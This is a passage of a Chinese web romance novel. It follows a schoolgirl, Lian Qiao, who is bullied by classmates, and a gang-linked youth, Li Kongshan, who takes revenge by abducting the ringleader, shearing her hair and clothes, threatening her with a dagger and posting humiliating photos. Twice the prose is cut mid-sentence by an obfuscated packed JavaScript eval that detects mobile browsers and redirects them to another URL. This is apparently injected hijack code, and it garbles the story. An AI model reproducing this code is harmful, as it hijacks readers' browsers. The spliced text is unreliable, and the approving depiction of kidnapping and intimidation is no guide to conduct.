“那我也没毛病啊。”李空山非要较真,“我都说了我相信她,结果她直接给走了,你说气不气人?她绝对是心里有鬼!” “不是——哥,你说的那句话整得跟在说相信那件事是真的一样。” 气呼呼的李空山停下脚步,转身看着小海:“那你的意思是——我做错咯?” “不敢不敢。”小海和气地笑笑,“哥,这女孩子嘛,就是比较敏感,一个字儿一句话,一个微表情,都有可能成为她们情绪的导火索。依我看啊,哥,你还是赶紧去找连翘,然后给她道歉吧,男子汉大丈夫,能屈能伸,这可是你教我的。” “啥?要我给她道歉?休想!” 李空山下定决心,绝不低头,“明明是她理解错了我的意思,怨我啥事啊?我绝对不去给她道歉。” 说到这儿,他又补充一句:“谁先低头,谁是龟孙儿!” * 李空山回了家,但发现连翘一直都没有回来。 他走到窗边东张西望,“都这个时候了,她能去哪儿呢?” “!!!” 突然想起那个传言,李空山猛然醒悟,盯着窗外的合欢树自言自语,“糟了,该不会那传言是真的吧?她一直等着我主动撕破脸,好给她机会正大光明去找她的小白脸?” “我明白了!” 李空山觉得自己分析得头头是道,“她也许从一开始就没误会我意思,而是要装作误会,好让自己光明正大地走,再去私会她的小情郎!没错!很有可能就是这样!” 说到这儿,李空山的神情又变得惋惜,他对着窗外的合欢树叹息:“李空山啊李空山,这下好了吧,你被人骗了,骗得跟个傻子似儿的。” 小海跑到镇上热闹街区一带,坐下给对面的年轻小伙子递了根烟,“兄弟,听说你弟弟在隔壁镇上高中,你知不知道最近传得很厉害的那谣言是怎么回事啊?” 年轻小伙来了兴趣:“哎,你也知道是谣言?” 小海笑笑,解释道:“我猜的。” 现在李空山和连翘闹矛盾了,小海心里一直觉得愧疚,他觉得当初自己就不该那么唐突,一听到这个消息就跑去通知李空山。 因此,他现在就想做点儿什么,弥补自己的过错。 年轻小伙搓了搓手,示意小海有没有点东西意思意思。 小海顿悟,低头看了下自己的兜儿,依依不舍从兜里扯出一张红票子。 “拿来吧你。”年轻小伙两眼放光,一把从小海手里抢走那一张钞票。 小海不舍得放开,年轻小伙费了些力气,扯了几下,才从小海手里扯走。 小海只能心疼地放下手,眼巴巴望着年强小伙把钞票放进衣服兜儿,暗自想:没关系没关系,小海,告诉你自己,不哭。 年强小伙收了钱,心里很满意,翘着二郎腿坐在藤椅上,乐呵呵笑着:“兄弟,还是你出手阔绰,你放心,收钱办事,我一定把我知道的一五一十全告诉你。” 要不是小海打听到此人的弟弟是这次谣言的关键人物,小海也不至于自掏腰包,花这么大血本。 “是这样的,兄弟,我跟你说啊,你算是找对人了。我弟可是那天目睹现场的唯一学生。其实啊,那些谣言什么的,全是假的,不过是一个幌子而已。” 小海凑近些,仔细打听:“那到底是怎么一回事儿啊?” “我听我弟说,这个叫连翘的学习成绩很好,是他们学习的第一名,人也还算有点儿姿色吧,就陆陆续续收到了情书。” “你知道的,有人耀眼,就会有人嫉妒,几个女生把这个叫连翘的骗到操场,趁着晚自习外面没什么人,合起伙来撕她衣服,把垃圾桶的垃圾塞到她书包里。就算这女孩再不服软,那一个女孩子也斗不赢八九个女孩子是不是?” 小海心情有些复杂,问:“后来呢?” “后来这帮女生害怕事情暴露,就拿那些照片威胁她,让她不准说出去,还借此机会对外面说,她那天晚上是去私会男人了。” “我弟本准备从操场那儿逃出去上网吧打游戏,刚好就目睹了所有过程。” “这样啊……”小海冷冷一笑,“兄弟,那你知道这帮女生分别是哪些人吗?” “这个嘛——”看在拿了小海一百块的份上,年轻小伙决定帮人帮到底,“我带你去见我弟吧,他肯定知道。” * 那帮女生又来找连翘了。 原本在和李空山赌气,连翘在河对岸的台阶上坐了会儿,气消得差不多以后,她就准备回去找李空山说清楚——不管他有没有误会,也不管他心里是怎么想的,她都要说清楚她没有做过那种事。 可等她刚起身没走多远,身后就有人将她叫住。 “哎呀,这不是我们的连翘吗,这么巧?居然在这儿碰到了你。” 连翘不予理睬,继续往前走,可是路灯照映出的影子却暴露了她回想起那天夜晚时的忐忑和不安。 这帮女生追上连翘,为首的女生揪住连翘的头发,把她头往下拉:“你走什么?见到我们还不停下来好好寒暄寒暄?” 连翘盯着女生,眼神发狠,“我跟你们没什么好寒暄的。” “是吗?”女生高调不已,拉长声音说:“可是我这里有好多关于你的小道消息呢,我们呀就特别想求证一些,这些消息究竟是不是真的。” 女生看了眼周围的同伴,眼神示意后,站在连翘两侧的人开始动手。 她们反扣住连翘的两手臂,不让她 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女生慢条斯理,继续盯着连翘说:“你处心积虑地接近李空山,他知道你是个这么有野心有城府的人吗?连翘,你别痴心妄想了,不管你再怎么努力,你永远无法离开清流镇的,你注定要永远待在这么落后、破败的地方!一辈子都是!” 连翘冷冷笑着:“我待在什么地方,关你什么事。你是狗吗?这么多管闲事?” 女生倏忽站起,狠狠地盯着连翘。冷笑一声:“还敢这么嘴硬,那你可就别怪我不客气了。” 她知道简简单单的羞辱对于连翘来说不算什么太大的打击,这人实在太能忍,于是她这次换了法子。 她让人拿出从学校里带来的连翘的书包和课本,当着连翘的面,一下又一下,用剪刀剪烂。 “你干什么!住手!” 一张张试卷上写满连翘的错题反思,一本本课本上写满连翘的批注笔记,从崭新的资料变成皱巴巴的书,每一本都篆刻着连翘挑灯夜战努力的痕迹。 可现在,这些人却要将她所珍视的她的希望全都剪烂。 “不要,住手,你们给我住手。” 连翘拼了命地想要挣脱去阻止,可她越挣脱,身后的人将她抓得越紧,她不顾一切地想要冲上去,可她却只能眼睁睁看着一本又一本书被女生剪成碎片。 散落一地。 时间突然过得很慢,像被按下减速键。 一阵风吹过,书本碎屑被风吹散,带着连翘的绝望和悲痛,一起散落在更宽、更远的地方。 女生把所有的课本和试卷都剪烂以后,满意地拍拍手,把同样剪烂的书包扔在地上,使劲地用脚踩了踩。 她很得意,眉飞色舞,“连翘,你看好了吗,这些就是你的下场,不管你做什么,你永远注定只能功亏一篑。你永远只能被人——踩在脚下,无法爬起。” 一滴雨打在她的手臂上,女生看了眼乌云满布的天,语气轻快,“哎呀,居然要下雨了,反正差不多了,我们走。” 她看了眼自己的同伴,踩着小高跟,趾高气扬离开。 连翘绝望又难过地抱住自己被剪烂的书本,心碎地捧起一地碎纸屑,她的眼睛红红的,失落又默不作声地抬起眼眸,注视着前方离去的人,一个穿着紫色裙子,听说是镇长弟弟的女儿的人。 雨下大了,一滴一滴打在连翘的身上,打湿她的衣衫,打湿满地的纸屑。 她心碎地用自己的身躯去护住烂兮兮的课本试卷,不想让雨淋湿,可雨却越下越大,路面的积水汇成一条小流,飘飘然流淌而过。 课本和试卷被浸湿了,黏在路面。 连翘的心也被淋湿了,破碎不堪。 29. 第 29 章 “我的我的,总算送到了,谢谢啊。” 听到外面有人在喊自己,李空山连忙下楼,果然是镇上做生意的老板回来了。 “李空山,你托我给你带的连翘花还有老桩盆都到了,看看有没有问题,没问题就把跑路钱给我。” 店家摊出手要钱。 李空山弯腰,细致地查看这盆新鲜的连翘花以及连带的老桩的情况。 一切都没问题。 他轻蔑地站起,漫不经心:“我说你怎么满脑子都是钱啊钱的,这样不好。” 店家理直气壮,“那我还不是怕你这人耍赖,毕竟你什么人品我还是心里有点数。” “哎你这人——” 李空山虽然不服气,但看在店家确实给他带回来了他要的东西份上,便收敛自己的脾气,不同他一般见识。 “行行行,给你。” 他从兜里掏出几张红钞票,拍在店家手上,“拿着,你自己数数,别到时候弄丢了又说是我差了你的钱。” “够了够了。”店家收到钱,满意地乐呵呵笑起,一改方才的严肃认真。 “下次你要还有要带的东西,随时通知我。没啥事我就先走了啊。” “走吧走吧。” 李空山摆摆手,又重新去查看连翘花以及老桩树根。 他沾沾自喜,很是高兴。 在连翘没回来的这段时间里,他也消气了许多,想来还是自己不对,冲动做事,没有好好和连翘沟通说清楚。 刚好,托人带的连翘花回来了。 李空山想,他刚好可以用这花儿去给连翘认错赔罪,祈求连翘的原谅。 不对…… 李空山想到,他前脚才跟小海说过谁先低头谁是龟孙儿,后脚就去找车羽羽和好?这不是纯纯给自己打脸吗? 要不再稳稳?等连翘自己回来,主动先开口以后,他再去道歉? 这样就不算先低头了。 如此甚好。 李空山先把新鲜的连翘花送上去,再跑下来把栽着连翘老桩的陶瓷盆搬上楼,盆子装满泥土,重量可不轻。 他把盆栽于窗边柜子处放好,刚准备坐下,就接到了小海的电话。 “喂,哥,查清楚了。录音我发给你。” 李空山还没来得及问什么录音,小海就已经把电话挂断。 他看向手机,点开录音和照片…… 屋子里的少年渐渐沉下脸,室内灯光黯淡,少年目光中的凶狠可怕又渗人。 他拨通小海的电话,声音很低,里面积攒了无尽的愤怒,“人呢?” “还没找到,不过刚刚手下的兄弟说她往河边青石街那个方向去了。” 李空山挂断电话,二话不说就拿起外套出了门。 雨夜喧嚣,声势浩大。 冰凉的雨水如同风浪想要把连翘卷走,她蹲在地上,抱住又湿又碎的试卷止默默流泪,她的悲伤和难过总是无声的,不想让任何人知道。 泪水和雨水混杂流淌在她的脸上,已经分不清眼泪更多一些,还是雨水更占优势。 一路朝这儿跑来的李空山发现他已经来晚了。 眼前的景象刺痛着他的眼睛。 他在连翘身后不远处渐渐放慢了脚步——那一刻,他突然没有勇气走上去。 他想,这一切,都怪他才对。 “连……” 李空山想挪动脚步上前,却怎么都动不了,他愧疚,自责,愤怒,痛恨——痛恨那些不知天高地厚、敢欺负到连翘头上的人。 他盯着手里的一束连翘花看了很久,轻轻走到连翘身后,脱下外套搭在她的身上,花儿被他放在连翘身后。 风雨打湿,却磨不灭筋骨。 没有多言,李空山即刻掉头走开。 雨水冲刷地面,流淌而过的积水把连翘身后的花儿冲刷到一旁,顺着一滩洼地往下,沿着河边堤坝,汇入汹涌的河流中。 河中连翘花被水浪击打,上下激荡,沿着河流向前流逝,在很多年后的某个春天,它终将会漂回女孩儿的手里。 小海按照李空山的吩咐来这里送连翘回家,他把雨伞递给连翘,“那个……你别伤心,空山哥让我带你先回去,你先跟我走吧……” 连翘早已经不哭了,只是怔怔望着地面发呆,没人知道她盯着地面在看什么、在想什么。 雨势变小,天空中还在下蒙蒙细雨。 小海不知所措地给连翘把伞打好,生怕连翘淋了雨,自己回去又被李空山批评。 他又慌又忐忑:“连翘?姐?咱先回去吧?你要是一直在这儿蹲着不说话,空山哥知道了会着急的。” “对了!”小海想起白天的事儿,补充道:“你是误会空山哥了,他没有说相信传言中的那件事,他说的是相信你。” “你知道的,他这人又嘴硬又傲娇,不习惯先低头认错。你不如就包容一下他?别跟他一般计较?” 小海还想再继续说一大堆话,说服连翘原谅李空山,没想到连翘很快站起,目光中有说不出的哀伤和决然。 “李空山呢?” “他……” 小海不知道该不该跟连翘说实话。 他刚准备开口,随便找个理由搪塞过去,下一秒,连翘忽然晕倒,直接倒下。好在小海反应及时,将她扶住。 他用一口流利的方言碎碎念:“天呐,仙人板板,你早不晕玩不晕,怎么偏偏这个时候晕呢,男女授受不亲哈,空山哥要是知道我背你回去,不把我打扁才怪,我是不会背你回去的!” 小海想想李空山可能会有的反应就后怕。 可是她现在晕倒了,必须得先带回去…… “我知道了!” 小海一喜,招招手,呼喊对面的妇人:“哎!大姐!帮个忙呗——你帮我把这女娃娃背回去行不行?” 妇人走过来,略有迟疑地盯着小海:“你一个男娃娃,这点儿力气都没得?” “你懂什么。”小海理直气壮,骄傲不已:“我这叫义气,这是我哥的人,我必须得保持好距离!” 大姐把连翘背上背,嘀咕一句:“幼稚。”随即大步往前走。 “哎,不是,我……”小海挠挠脑袋,并不赞成自己的行为有半点儿幼稚性。 * “人呢?给我滚出来!” 李空山带着人在欺负连翘的女生家门前大声叫嚣。 雨夜凄凄,赵婉婉透过门的缝隙往外看,只在黑夜里看见门外站在伞下的少年拧断手里的一节竹棍。 他露出黑伞下的一张脸,眼神直勾勾盯着二楼走廊,阴鸷又可怕。 那一刻,赵婉婉觉得这个人什么事都干得出来。 她心有余悸地关上了门。 赵本奇一脸严肃地盯着她:“婉婉,都这个时候了,你必须老实交代,你在外面究竟闯了什么祸!” 他站了起来,走到赵婉婉面前,厉声提醒:“我早就提醒过你!李空山那家伙不是什么好对付的角色,你惹他干什么!况且,他背后还有一个黑武会!” “我……”赵婉婉又慌又乱,一想到连翘能得李空山如此维护,她心中的憎恨便更多一些,反口辩驳:“我做了什么我?在你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165887|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里,你女儿就是只会给你闯祸是吗!” 赵本奇指着门外:“现在人都已经来了,你还想狡辩?” 赵婉婉虽不服气,但也还是有些后怕的。 她一直都知道,赵本奇如此忌惮李空山,无非是因为赵家有把柄落在李空山的手里。 所以哪怕赵家仗着赵书誉这一镇长身份为非作歹惯了,也依旧不敢拿李空山怎么样。 赵婉婉拉住赵本奇的衣角,“爸,你老实告诉我,大伯是不是做了什么坏事,让李空山抓住了把柄,所以你才这么怕他?” 赵本奇别开脸,一脸严肃:“婉婉,我警告过你很多次,不该问的别问。” 赵婉婉咬紧下唇,迟迟没有说话。 “那该怎么办?”她走到赵本奇面前,拉住他的手恳求,“爸,你帮帮我吧,我真的没想到,动了一个叫连翘的人,李空山居然带着黑武会的人找上我们家来。爸……” 屋外再次传来李空山叫嚣的声音。 手底下的兄弟给他撑着伞,他站在黑伞下。 目光仿佛能焚尽所憎恨的一切。 “赵本奇——你给我听好了!赶紧把你女儿交出来,识相点,我们之间可以当做没事发生,我只要你交出你女儿。” “爸!你帮帮我!” 赵婉婉死死拽住赵本奇的衣角恳求,她知道李空山不是好惹的,她的确没想到李空山会为了连翘如此大动干戈。 “别叫我爸!你自己闯下的祸,你自己承担!” “爸……” 赵婉婉满脸委屈地看着她,仿佛快落泪了。 赵本奇看了几眼赵婉婉,毕竟是自己女儿,他还是心软。 “算了,跟我一块出去吧,我去和他说说。” “好……”赵婉婉擦泪,声音里带着哽咽。 * 赵家的大门被打开。 赵本奇带着赵婉婉从里面走出来。 雨势减小,雨伞被收起来,露出李空山扯起的渗人嘴角和那双阴狠的眼睛。 赵婉婉躲到赵本奇身后,仗着有赵本奇撑腰,仍不改往日的架子,大声叫嚣:“李空山,你好大的胆子,居然敢跑到我们家来撒野!你知道我大伯是谁吗!他可是镇长!你惹我们,以后决定没什么好果子吃!” “哦?我还以为是什么,原来就一个镇长啊。” 李空山面露冷意,看上去一点儿也不在乎。 他才懒得跟赵婉婉废话浪费时间,直接看着赵本奇,眸子幽暗:“你女儿干了件好事,动了我的人,这事儿你知道吧。” 赵本奇知道李空山不是来向讨要公道的。 他看着站在李空山身后的一帮子黑武会的人,问:“你打算怎么着?” “很简单啊。” 李空山的话语听上去轻松随意,可每一次看向赵婉婉,眼里都充斥着憎恨和敌意。 “把你的女儿交出来,我不借多久,明天之前一定还你。” 赵本奇沉默着,没有立刻给李空山答案。 “开什么玩笑,你做梦吧!”赵婉婉从小被娇生惯养,自然不会把李空山这样一个小混混放在眼里,她大声骂道:“你以为你是谁啊,一个破混混没教养的东西,想让我爸把我交出来就交出来?我可是我爸的女儿!” “女儿怎么了?” 李空山冷冷一笑,面无表情,似乎没多大的耐心,“你没听说过老虎被逼急了,也会食其子?” 原本赵婉婉并不相信一直疼爱自己的爸爸会这样做,可当她看向赵本奇时,那一刻,他眼里的犹豫却让她不得不逐渐打消这一念头。 30. 第 30 章 她有些忐忑:“爸……你不会把我交出去的,对吧?” 李空山冷呵一声,出声提醒赵本奇,“喂,我说,你可别忘了我手里的东西。” 赵本奇缓缓笑着,心平气和地回应李空山的目光,“是,当然了。” 他扭头看向赵婉婉,立马改脸:“婉婉啊,你先跟他们走一趟吧,放心,有你爸爸在,他们不会为难你。” “爸……” 李空山凶狠直视正前方,对身后的人命令道:“把赵婉婉给我带走!” * 阵雨过后的树林湿漉漉的,泥土和落叶黏在一起,大大小小的脚印错综复杂,印在路面,找不出规律。 李空山走到一榕树下,狠狠地把小刀插在一段已经干枯的树枝上,身后站着的是他带来的弟兄和被绑住的赵婉婉。 “哥,怎么处理这小妞啊?” 李空山背对着几人,站在树下沉默了很久,说:“把她手机拿出来,里面的照片全删掉。” “好!” 许弋刚立即从赵婉婉的衣服兜里找到手机,点进图库以后,一键删除所有照片。 “你们敢!”赵婉婉不服气地盯着删照片的人,“里面有我和赵旭摩哥哥的合照,你给我住手!” “合照?我呸。”男生才不在乎,一键删除完以后,把清空的照片摆在赵婉婉眼前给她看:“看清楚没,一张都不剩。” “你——!” 赵婉婉很生气,但却无可奈何。 站在树下握住树枝上刀柄的李空山又重新发话,眉眼淡漠:“剪刀带了吗?” 他的人回答:“哥,带了!我们还不止带了一把,就担心不够用呢。” 李空山轻轻扬起一抹没有生气的笑,任谁看了,都觉得渗人,“很好。那就动手。” “好!” 男生一个眼色,带了剪刀的另外几个男生纷纷走上前,对着她的衣服和头发一顿乱剪。 李空山低哑的话语在漆黑夜色中缓缓回响:“你敢剪她最珍惜的东西,我就敢变本加厉毁掉你更多。” “不要,我的头发——” 赵婉婉拼命逃窜,但还是被孟河一把抓回来,不到一会儿的功夫,她的衣服被剪得稀烂,头发短的跟男生一样,乍一眼看,还以为是个叫花子。 李空山转身走到赵婉婉身前,拿出那把常用的刻着“山”字的匕首,抵在赵婉婉手臂处,只要他稍稍一用力,新鲜的血液就会立即渗出。 他弯腰,目光严寒阴冷:“你信不信我现在就剁进去?” “信!我信!你放过我吧!我保证以后再也不找连翘的麻烦了!” 由于害怕,赵婉婉拼命地往后挪,但李空山的人还是毫不客气地把她推回去:“躲什么躲啊,我哥问你话呢。” 李空山狠狠瞪着赵婉婉,他答应过连翘不再随随便便惹麻烦闯祸,匕首被他不情愿地收回去。 “刚才的那些,只是暂时给你点儿教训,你要是再敢招惹她。” 他站起身,“我可不敢保证下次只是给你点儿教训这么简单。” 说完,李空山给旁边的孟河使了个眼色。 孟河随即走到赵婉婉面前,对着她这幅叫花子模样一顿猛拍,随后他用赵婉婉手机上的账号登入企鹅群,点进校群,一键发送所有才拍下的照片。 许弋刚和孟河差点没忍住笑出来,这次——赵婉婉可以在全校人面前出大丑了。 赵婉婉落魄地坐在地上,现在一个字儿都不敢吭声。 李空山走了。 其余人连忙跟上。 走之前,许弋刚还不忘提醒赵婉婉一句,“你说你得罪谁不好,偏偏去得罪我哥的人。这次只是给你点颜色瞧瞧,要还有下次,就不是剪你头发这么简单了!” 赵婉婉落魄地站起,咬紧牙关,她发誓,一定不会放过连翘和李空山。 —— “哥,你总算回来了。” 小海慌慌张张跑到门口,李空山目光寻觅连翘的踪迹,问:“她怎么样?” “医生来看过了,说是感染风寒,一直在发高烧。林婶刚给她换了衣裳,这不,才刚回去。” “知道了。” 李空山走到床边坐下,用手背轻轻去感受她额头的温度,果然很烫。 他偏头看向小海,“喝过药没?” 小海摇头,“喂不进去,林婶刚才喂来着,结果全给吐出来了,所以林婶才回去换衣服。我们这些大老爷们更不适合,这不,就等你回来……” 他看向桌面上重新放好的药,“嗯,知道了,今天也不晚了,你先回去休息,这里交给我。” “好。哥,你有啥事随时通知我!” 李空山点点头,小海会意后,便走出了屋子。 他轻轻把连翘扶起,靠在自己的肩上,那一刹那,他忽然想起自己醉酒的那个夜晚,好像有人在给她喂醒酒汤。 也是那个夜晚——他好像抱了人? “车羽羽?尧尧?” 试着喊了一声,女孩没有反应,李空山端起桌面的药,舀起一勺,递到连翘嘴边。 他轻声开口,“尧尧,喝药了,你说你是不是个傻瓜,别人欺负你,你还不吭声,怎么,我李空山还不能成为你的靠山啊?” 靠在肩头的女孩侧了下头,脸朝向他的颈窝,脸紧紧贴在他的肩上,呼吸也随之萦绕在他的脖子间。 她似乎醒了,皱了下眉,轻轻开口:“李空山?” “是我,我回来了。” 他轻轻偏着头,轻轻压着女孩的脑袋,“你现在感觉怎么样?我喂你药,好不好?” 她点点头,忍着身体的酸痛,一口一口喝下药,似乎快要迷失在一种李空山很温柔的假象里。 喝完药过后,连翘便睡下了,李空山在她的床边守了一整夜。 他开始明白,过去从来都不重要,只有好好珍惜眼前人,暮年回首前半生时,才不会后悔。 第二天一大早,李空山就出门,他心心念念着上次受伤住院时,连翘给他顿了鸡汤。 于是,他今天也要找一只老母鸡,给连翘熬鸡汤,好好补补身子。 他确认了下连翘的额头不再那么烫,才放心出门。 “老母鸡啊,老母鸡,你到底在哪儿呢……” 顾及到市面上售卖的可能有以次充好不够纯正的假货,譬如拿一只才长大的鸡充当老母鸡。 李空山自认为自己心思缜密,等会儿准备到街巷间走走又转转,实地考察无误后,再向该户人家买。 还没走出院子,一阵轰鸣的“咯咯咯”鸡鸣声吸引李空山停下脚步。 “院子里有老母鸡?” 李空山回头,皱眉凝思,朝声音传来的方向跑去,四处寻觅,果真在一处蒲扇叶遮挡的木栏里看见两只老母鸡。 他大喜——这不是天助人也还能是什么? 还是三只,这次能给连翘大补特补了! 二话不说,李空山就跳进木栏里抓老母鸡,院子里的人都有各自的事,出了门,无人因动静出来。 老母鸡吓得到处逃窜,扑起一地鸡毛。 “来吧你——” 李空山左手拎住一只老母鸡的脖子,右手拴住一只老母鸡的双脚,大大方方地走出木栏。 他回头看了眼对面的房门,“哦……这是阿婆家的呀,好说好说,等阿婆回来了,我给她说一声就行。我这人这么仗义,阿婆指定赶着忙着要送我。” 于是,他就这样大摇大摆地提着三只老母鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165888|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,割喉杀完后,雄心壮志上了楼。 * 阿婆回来的时候,发现仅有的三只老母鸡没了,只剩下被拔得一干二净的鸡毛。 顿时,阿婆大怒:“是谁偷了我的老母鸡!” 声音太大,传到厨房正在忙活的李空山耳朵里,他愣了下,稍稍挑眉,装作啥都没发生。 连翘醒来时,闻到房间里浓烈的香味,她撑着坐起来,脸色有些苍白,“李空山,你在熬什么?” “铛铛铛铛。” 李空山端着一碗热气腾腾的鸡汤走出来,“看,我弄的,可以吧?” 连翘轻轻笑了下,有些意外,“你什么时候会捣鼓这些东西了?” 李空山得意不已:“你想不到的还多着呢。” “来,我喂你喝。” 他在床边坐下,扶着连翘靠在自己肩膀上。 连翘抬起目光盯着李空山的侧脸,“我又不是小孩子,还要你喂吗? “可你现在是生病的病人呐,当然得由我好好照顾咯。” 连翘笑着,一口一口,顺从喝下鸡汤。 李空山扯来一张纸帮她擦嘴角,连翘漫不经心随口一问:“对了,你这老母鸡哪儿来的?” “这个嘛……” 李空山刚想回答,门口就出现气喘吁吁爬上楼的阿婆。 她愤慨地指着李空山,手里还拿着鸡毛掸子,“好哇,李空山,你个臭小子,居然敢偷我的老母鸡,看我怎么教训你!” “什么老母鸡,我布吉啊。” 一向蛮横嚣张的李空山摊开手,摆出一副无辜的模样。 阿婆拿起鸡毛掸子就朝李空山跑过来。 “诶,干嘛!” 李空山倏忽站起,把碗放到桌上,绕了一圈,躲着阿婆,“不是你想的那样,阿婆,你听我解释!” 阿婆恼怒不已,根本听不进去李空山的话。 李空山被拿着鸡毛掸子的阿婆追下楼,又被撵了三条街。 街道两侧的楼房上的人纷纷开窗,探出头来看热闹。 * 李空山跑得实在有些累了,拖着沉重而缓慢的步子,回头对阿婆说:“阿婆啊……你能不能别追了,你累,我也累啊!我们俩坐下来好好说,你听我给你好好解释……” “哼!李空山,你以为我会相信你的鬼话吗!做梦!” 同样跑得气喘吁吁的阿婆步伐却敏捷,果然,每天晚上镇里的广场舞不是白跳的。 阿婆对两只老母鸡思念不已,看上去很气愤:“李空山,你把我的老母鸡还给我!” 李空山无奈地摊手,“阿婆,你的老母鸡已经被我剁了,难道你要我吐出来还给你么?” 阿婆更生气:“李空山,你这无赖!” 李空山一脸无所谓,嬉皮笑脸做鬼脸,“略,有本事你咬我啊。” 小海来看李空山和连翘,却发现屋里并没有李空山的踪影。 他把提来的水果放在桌面上,“连翘,我哥呢?” “你说李空山啊。”连翘两手拿着牛奶喝,回答小海,不急不慢,“他出去了。” “去哪儿了?” 连翘神情从容而淡定,仿佛已经见怪不怪。 “被人撵出去了,他偷了阿婆的老母鸡。” “噗——” 小海直接笑了出来,捂着肚子憋笑,竖起一个大拇指,“不愧是我哥,这是他干得出来的事儿。” 见到小海这般反应,连翘心里的好奇和疑惑更加浓烈。 她一本正经地看着小海,眉眼柔和淡定。 “李空山……一直这么缺德?” 小海给连翘一个肯定的眼神,万般笃定点头。 —— “一直。” 31. 第 31 章 李空山这几天一直在照顾生病的连翘,没怎么出门,恰好今天家里没什么菜,他顺便出来买点东西。 大街上热热闹闹,人群簇拥,街道两侧的杂货店、麻将馆里走出不少人来看稀奇,只因镇长正带着人,监督环卫工人打扫卫生,百年难得一遇。 管事儿的五大三粗,拿着一个大喇叭大声吼,口水往外溅,欲撵走在街道两侧摆摊卖菜卖水果的老人,说是要维护清流镇该有的形象和秩序。 李空山路过时,男人正拿着喇叭,用脚踢开蛇皮口袋上垫着的黄梨,朝这个抱膝坐于地上的快八九十岁的老公公大声吼:“喊你挪起走啊!快点啊!听不见吗!” 老人年纪大了,身子瘦削,露出骨头的轮廓,一双又黑又干瘦的手不停地打哆嗦,并不想要去挪东西,但形势如此,不得不为之,可动作还是慢了些。 他坐在那里,好不容易走五十分钟的山路来镇上卖点儿东西,一天挣个十几块钱就已经很不错了,可城管还要把他撵走,不给他卖东西的机会。 他不想走,走了就不能卖到钱。 儿女都不管他,他只能靠卖点儿菜的钱去买双新鞋。 李空山低头看了眼老爷爷,他脚上还穿着厚厚的上个冬天的棉鞋,鞋底看上去已经烂了不少,坑坑洼洼,烂了很多洞。 他拍了下路人的肩膀,“今天咋回事儿啊?” “你不知道?过两天上面要来人检查了,镇长在带人打扫卫生,说要保证街道干干净净的,这地上也不能摆摊卖东西。” “哦。” 平日里垃圾库发出恶臭,堆了几天也没见派人处理;涨过洪水后,冲下来裸露在河岸两边的废弃物和残渣等了半个月才有人来管,这次有检查,倒是积极得不行。 李空山穿过人群往前走去。 城管见着老公公还是没动,又走过去一脚踢开他铺在蛇皮口袋上、为保证新鲜一大早起来洗干净的黄梨,嗓门大,脾气爆:“还不拿开,是想让我给甩了是不是!” 老人依旧沉默,两手放在膝盖上,不知道该怎么办,周围无数围观人群的目光让他更加害怕和无措了。 “喂!你干什么啊你!” 李空山见到城管直接踢开老人的梨,直接站不住了,穿过人群走到城管面前,推了下他的肩。 迫使城管被推得后退了几步。 “你没看到他就是个老人吗,你对他那么凶干嘛,你爹妈生你养你的时候知道你以后也会对老一辈人这么凶,当初还生你吗。” “我在办公事,不要随便干扰我!” 大块头城管怒火十足,盯着李空山。 李空山自然也不是好欺负的,端着手上下打量他,不屑开口,狂妄极了。 “办公事,就你哦?我怎么没听说过办公事还有可以骂人动手这一说法呢?更何况他就是个老爷爷。” 他看向周围围成一圈的看热闹的人,“喂,你们有听说过吗?都没有吧。” 忌惮城管的身份,没人敢吭声,也没人敢背着良心否认。 李空山就当他们是默认。 “看见没,没人听说过。” 城管举起手,想用手里的棒子把李空山推开,下一秒,镇长走了过来,“怎么这里这么吵,发生什么事了?” 李空山举起手:“镇长是吧,我举报!他动用私权,欺负老人。” 镇长赵书誉戴着一副黑框眼镜,剪着平头,双目炯炯有神,今年五十三岁,看上去文质彬彬,礼貌又客气。 他偏头看着城管,“他说的是真的吗?” 城管支支吾吾半天,一个字儿也没憋出来。 为了自己镇长的形象和面子,赵书誉想回去扶老人起来,没想到李空山早就已经走过去,率先一步搀扶着老人站起,还顺便帮他把被踢开的黄梨捡回来。 他是个炽热又诚恳的少年,把黄梨上明显的污垢树叶渣拍去,递给老人,笑着说,“你别怕,拍拍还能要。” “谢谢你啊……” 老爷爷低着头,不敢看赵书誉和城管,声音低哑,全身瘦得只有骨头和皮。 “客气。” 李空山帮老人把摊子挪到新的地方。 赵书誉的目光紧紧跟随他。 旁人问赵书誉:“你在看什么?” 赵书誉沉默许久,那双炯炯有神的眼里忽然有了提防之意,“我在看——他身上是不是装着我们的秘密。” * 奶奶的身子近日还算安康,有闲工夫的时候,甚至还能下床给后院栽的小菜浇浇水、施施肥。 一次偶然的机会,她在小海问候自己的电话里得知李空山和连翘闹了矛盾,瞬间不淡定了,立即换身衣裳去镇上。 ——教训李空山。 走到李空山住的地方,奶奶气势汹汹敲门,表情严肃。 “李空山,你个臭小子,赶紧出来给我开门!不长眼了是吧,连这么好的连翘你也敢欺负!” 原本才睡醒,睡眼惺忪的李空山闭着眼睛走到门口,睡意还未消散,正准备把门打开,可他听到奶奶一句一句的全离不开骂他,瞬间打消立即开门的念头。 他站在门后,清醒了不少,不过声音还是懒洋洋的:“不是,奶奶,你在哪儿听说的我欺负她了,根本没有的事好不好。” “男子汉大丈夫,敢作敢当!你不敢承认了?” 李空山顾及着奶奶身体难得好了不少,不打算直接和她硬刚,放缓声音,无所谓说:“奶奶,你爱信不信,反正你孙子我绝对没欺负她。” 